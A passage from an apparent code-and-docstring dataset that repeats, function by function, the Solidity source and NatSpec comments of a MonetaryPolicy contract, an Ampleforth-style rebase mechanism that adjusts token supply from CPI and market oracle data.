supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */
NatSpecMultiLine
canRebase
function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); }
/** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 2372, 2521 ] }
1,381
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */
NatSpecMultiLine
rebase
function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); }
/** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 2653, 3168 ] }
1,382
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */
NatSpecMultiLine
getRebaseValues
function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); }
/** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 3557, 4555 ] }
1,383
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */
NatSpecMultiLine
computeSupplyDelta
function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); }
/** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 4700, 5219 ] }
1,384
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
/** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */
NatSpecMultiLine
withinDeviationThreshold
function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); }
/** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MIT
ipfs://45f538fe42b7b2e76e074c040be33f8048fa7b61ee6597542e80240c00772e8e
{ "func_code_index": [ 5547, 5987 ] }
1,385
MonetaryPolicy
MonetaryPolicy.sol
0x59ea1be5a87c8700689ea5a38fb9c760d81ab64e
Solidity
MonetaryPolicy
contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = 